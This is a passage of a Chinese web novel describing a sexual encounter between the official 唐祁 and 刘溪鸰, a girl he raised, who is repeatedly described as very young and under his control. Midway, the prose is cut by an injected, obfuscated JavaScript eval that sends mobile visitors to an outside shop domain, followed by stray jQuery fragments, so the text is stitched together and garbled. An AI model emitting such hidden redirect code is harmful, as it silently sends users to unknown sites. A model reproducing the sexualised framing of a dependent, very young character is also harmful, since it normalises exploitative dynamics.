这是到了还情的时候?还是他不要她还情了呢?
“不,不。”她张了张嘴,“我只是没想过以后……我,我也……”
唐祁眼瞧着她眉头皱了又皱,那面上忽地一红又忽地一暗,仿佛英勇就义,又仿佛万般无奈,她才说:“……我也喜欢你的。”
这话说得何其艰难?她的眼泪就跟不要钱一样的往下流,整个人跟上了刑似的,在他怀里哭得快虚脱。
他心想,有这么难吗?
这几天闲下来后,他细想了一番,大约明白了她究竟何故惧怕此事,左不是觉着自己在沈家那档子事上诓了她,再就是觉着此生见过的宅中之事尽是龌龊。
说来这些倒是他从没经历过的,虽说他家境一般,但一般往往意味着简单。家内,父母恩爱,他与书为伴,日子勤劳平淡。而对外,这世间的穷凶极恶是他便早早领教过的,竭尽所能达到目的才是要紧的事,心思都用在这处,可没空管那些有的没的。
她跟他正好相反,心思一样多,只不过用在了别处,又是个小犟种。他轻叹一声,手臂圈得又紧了紧。
此刻,刘溪鸰觉得自己的魂魄是彻底出了窍。她甚至开始怀疑当初她究竟是不是为了找她娘来的?好像自己昨天是这么想的,但今天又是那么想的。
思绪被他稀稀落落的吻打断,像是一串串的香樟树花落在了额前,颊边,耳后和手上。
很久很久,久到她觉得天都黑透了,这屋里的灯也显得格外暗。
她可算是不哭了。她哭的时候他的心情不算太好,除了些许动容心疼,大多时候是在叹息这辈子都不想再哄人了,比写十本《平万象书》还要累。
唐祁的心终是落了下来。他想,她还是太小,可他能怎么办呢?一旦有了这样的想法,他觉得自己再也等不得。所以此刻连轻吻都小心翼翼。
腕线上有痒痒的触感,是他一寸寸的吻,辗转又来到了颊边。她拢了衣襟连声道:“我没洗……”
“没事,你很香的。”他一面轻轻啃噬,一面埋在领口深深呼吸,“很香。”是橘子和一种青涩的乳香味,她身上总是有。
“真的?”
“真的。”然后低含那轻薄柔软的唇。
哭得七荤八素的时候,绵长的吻更让人意乱情迷。唐祁说,“以后你想做什么就做好了。”
“……假的,你骗我。”他才不会这么好心。
他低低笑了起来,变聪明了。“那以后没我的准许不准到处跑。”
她抬起头:“我就知道你是这……唔……”他没让她说完。
“那现在留在我身边不准走。”疏密不均的吻层层叠叠。
“……好。”她的话语渐渐是呢喃。
他的唇舌带着一丝龙脑香味,许久才放开。睫毛扇动间,半眯着的眸子在她面上逡巡,清逸的面庞上无端生出一种奇异的诱惑:“那今天不走。”
她低低哼了一声。
不可一世又心狠手辣的人一旦低了头,很少有人能真正的拒绝他,何况是他亲手养出来的人。
手伸入领/子将她整个人扳了过来对坐。肩颈前后均是极为细滑,是说不清道不明的触感,在此之前他没见过,在此之后也不想让旁人见。
于是炽热来得比之前更早,呼吸早就乱了。
长长的手指左右一拦便将将能掐住月要木艮捧在掌心,俯首而下时动作一大掀翻了茶盏。
她一下回了神,撑着他的肩朝外望去,声音恢复了理智,“几时了?”然后外面的人是不是还没睡呢?这夜里黑的太早。
他低笑道:“你在怕什么呢?怕被人发现?”该发现的早发现了。
昏暗的灯光下,她瞪了他:“我怕什么?我是怕大人名节有损。”她可是随时想来就来想走就走的。
“你都不怕,我怕什么?”
他说着,一把抱起她向后头走去。交颈相吻一路绵延到了榻上,他细密的吻和深深的呼吸落了在肩头,心口和xigai,几乎用尽了所有耐心和温柔。
这具身ti他已经极为熟悉,连她什么时候开始chuan息他都知道,只是他从没说过要,虽然那很容易。但她若不想,强要又有什么意思?总得叫她心甘情愿。
可她什么时候才会说想呢?她不会的,前几回忍成那样都只是低低叫唤两声。
于是她抓着他的肩时,他便贴着她的耳朵问:“你方才是不是说你心里有我?”
他的手没停,耳后的热气让她浑身忸怩又难受,眉头狠狠皱起时,她一面往后躲着,一面说:“我没……”像是听不得一句。
“那我心里有你,你明白了?”他埋首于怀中,听见她伴着轻哼的默然不语,呼吸和声音已是变了模样。
眉头皱得更紧了,浑身抖得厉害,起来也不是,躺下也不是,哼哼嚷嚷起来像是又要哭,手也不晓得往哪放,只得紧紧攀着他的脖子。
来回捏握时轻慢拨弄,他说:“那就是我引诱你。千方百计引诱你,明白了?”
“你不许再说!”年轻的身心如何经得住这样的撩拨,她浑身泛起绯红,扑上前就咬。
他一笑,拉着她的胳膊一扯,又往旁边一掀,一个翻身便栖了上来。
她怔了怔,眨眨眼便瞧着他一只手按着自己的双臂,另一只手飞快抽走了她的衣袍。眸中是沉沉的专注,她动了动,发现他压的更紧,吻咬愈发致密。
在十一月的冷冬里,这房间并不大暖和,二人却早早沁出了汗水。
她轻呼一声:“疼!”他便松了手。
眸中笑意闪过,她腿一抬,手臂在他脖子前一格,又翻身压了回去。
她趴在他肩头,声音沙哑,“大人想干什么呢?”那细碎的发丝垂在耳边,尖尖的小下巴得意地跷着,小鹿一样的眼睛微微眯起,温顺也好,生气也好,在他看来届是脉脉风情。
说着,反剪了他的手用小臂按住,另一只手则勾着他的脖子,在他的唇上落下一个柔和的吻:“嗯,大人又不头疼了?不累了?”
他嗤笑,哟呵,长本事了。
倾身向前时,手指一寸寸退到他的胸口。他瘦了一些,仔细按捏,脖子下方都能摸到骨头,她低叹:“大人这段时日如此操劳清减,不知这会儿会不会心有余而力不足?”
一抬头便成功看见了他眼中勃然而起的火。
“我可没教过你这些话。”他长呼一口气,迅速拦着她的手,“再这么下去,一会儿你可别又哭。”
她婉转悠长地嗯了一声,手指自喉头缓缓滑过,所到之处又换成粒粒香吻,眼中还有不知是为何留住的泪花:“大人总是比我更说得出来,不是吗?”
说着手向下滑去,轻叹:“大人的表里不一总是炉火纯青,我总想学也学不来。”
他闭了闭眼,无奈道:“有时候不是什么都要学我的,你有你的好处。”
她一笑:“我说不过你的,你总会想着法子引着人家低头。”小手轻动便开始扯他的衣服,这是一具清瘦但有力的身躯,不晓得他知不知道他已经打不过她了。
他笑道,“那这是要投怀送抱了?”
她哼道:“什么投怀送抱,是逼你就范!”
唐祁一顿,笑意更深:“你会吗?”她什么不是他教的?但也只教了前头。
“大人总是小瞧人,太得意小心翻了船。”轻薄小唇化作蝴蝶落在耳朵上,喉结处还有锁骨上……抬眼便在他面上瞧见一丝难耐,贴在胸口的掌心都能感到蓬勃的跳动。
别的不说,这一点她还是能说到做到的——只得是她风流他。
衣裳不一会儿就被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624191|137641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她剥了个干净,她坐在身前,将簪子一取,微卷的长发散落了下来,带着浓浓的橘香遮住了脸上的绯色旖旎。
她有一把极细的腰,紧张的时候会露出极美的脊线,像是软剑在空中划出的弧光。
他的手指轻轻在其中划动。这双手何其严厉,不允许她字写得丑,不允许任何人得过且过,随意能执起一只鞭子,下手快得让人猝不及防。但在这种时候还是愿意温暖地腾覆于她全身。
他的唇角笑意深深,瞧着她:“你慢一些。”
……(略)
她骤地紧了眉,便顿住了。
是好疼。
但也不是不能忍受,毕竟她平日里受的伤可比这疼多了。只是叫人想不到罢了。
他也皱了眉,却先扶住了她揽在怀里:“疼?”
“嗯。”她整个人蜷缩着撑着他的肩,她的头发长得好长,这些日子没有在外头跑,遮住了大半身前。
“轻一些,”他吻着她额角沁出的汗,他说,“我也疼。”
“你不许说话!”她气道,“你能有我疼?”
“好,你疼。”他难得好脾气,“慢一些。”说着揽着她坐了起来,又摸了摸她绯红的脸颊,“让我看看你吧,上次依着你,黑灯瞎火的什么也瞧不见。”
上次,上次还是很久前。
“什么依着我!分明是你诡计多端。”她飞快瞪了他一眼,又赶紧垂下了眼眸。
他心里笑得不行,嘴上还是好声好气:“好,是我,那你就再依着我行不行?”
“干嘛?”
“你睁眼看看我。”
“我不,我眼睛酸!”天晓得为什么她每次都觉得很酸。
“你不是说要逼我就范?你不看我,你怎么知道你做的怎么样呢?”他一面亲她的脖子,一面扶着她一动,她便又皱了眉。
“……嘶,你不要以为你这般无耻激我,我就要听你的!”说着她还是睁了眼,“别以为我不晓得你想干什么。你不就是等着我这么着吗?我还不知道你?”
瞧,她迟早还是要发现的,他说:“若说有,那也是之前。今天你都哭成那样了,我还敢想这么些?”
她挺直了腰杆儿居高临下地瞧着他,“你不敢?还有你不敢的?”
唐祁在心里叹笑,这可就难办了,越来越不好骗了。
少女银牙一咬,俯下身在耳边道,“怎么,你现在不想吗?”可触感不是这样说的。
她的声音低得不能再低,不是循循善诱的低语,而是明目张胆的钩棘。长长卷卷的发丝挂在平直的肩膀上,随着她的一起一伏而来回飘动着,连带着其中稚嫩的曲线影影绰绰晃动。
他头中心口皆是一阵闷闷,长吐一口气,“想。”
说着一只手倏地掐住xi弯,另一只手勾着脖子,在还没开始前极快地堵住了她的痛呼。
从前想过的所有画面都在这一刻飞速自脑中闪过,他闭着眼沉浸在当中,一息也不愿放过。
唇舌交缠时,原先那种发酵的感觉又出现了,在她的心下反复游荡着,像是透过关节发出了锈迹斑斑的咯吱声,她低唤着,无意识一样的娇弱又懵懂。
他想,瞧着这样小,心思却无比重。
她绯红的双颊是初升的太阳,紧闭的双眸潜藏着清晨的光,里面会默默流出一颗颗的泪,坠着尘土飞扬滴落在龟裂的土地上,直到他问她,小丫头,你叫什么名字?[1]
她默默写下她的名字,刘溪鸰。
那时他想,哦,是溪边振翅的小鸟,瞧着如此乖觉,却兜兜转转留在了他的身边。
现在她身上处处都是他的痕迹,他在把自己一点点教给她时,而她也把自己原原本本的交给了他。他想,她整个人都是他的,完全是他的,心里是化不开的浓稠AI欲。